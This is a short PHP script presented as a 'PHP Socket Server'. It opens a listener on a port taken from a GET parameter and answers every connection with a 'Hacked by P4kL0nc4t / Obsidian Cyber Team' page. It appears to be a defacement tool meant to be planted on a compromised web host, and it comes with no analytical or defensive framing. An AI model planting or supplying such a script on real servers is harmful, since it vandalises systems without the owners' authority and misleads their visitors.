PHP Socket Server

<?php
/*
- Socket Server PHP
*/
set_time_limit (0);
if(!empty($_GET['port']) && is_numeric($_GET['port'])) {
    $port = $_GET['port'];
} else {
    $port = 2017; // port lu atau bisa lewat parameter get port
}
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
socket_bind($sock, 0, $port) or die('lnct_error: Failed to bind port');
socket_listen($sock);
while ($client = socket_accept($sock)) {
    $response = "HTTP/1.0 200 OK\r\n";
    $response .= "Server: P4kL0nc4t-SSWP\r\n";
    $response .= "Content-Type: text/html\r\n\r\n";
    $response .= "<html><h1>Hacked by P4kL0nc4t</h1><hr>Obsidian Cyber Team</html>";
    socket_write($client, $response);
    socket_close($client);
}
socket_close($sock);
?>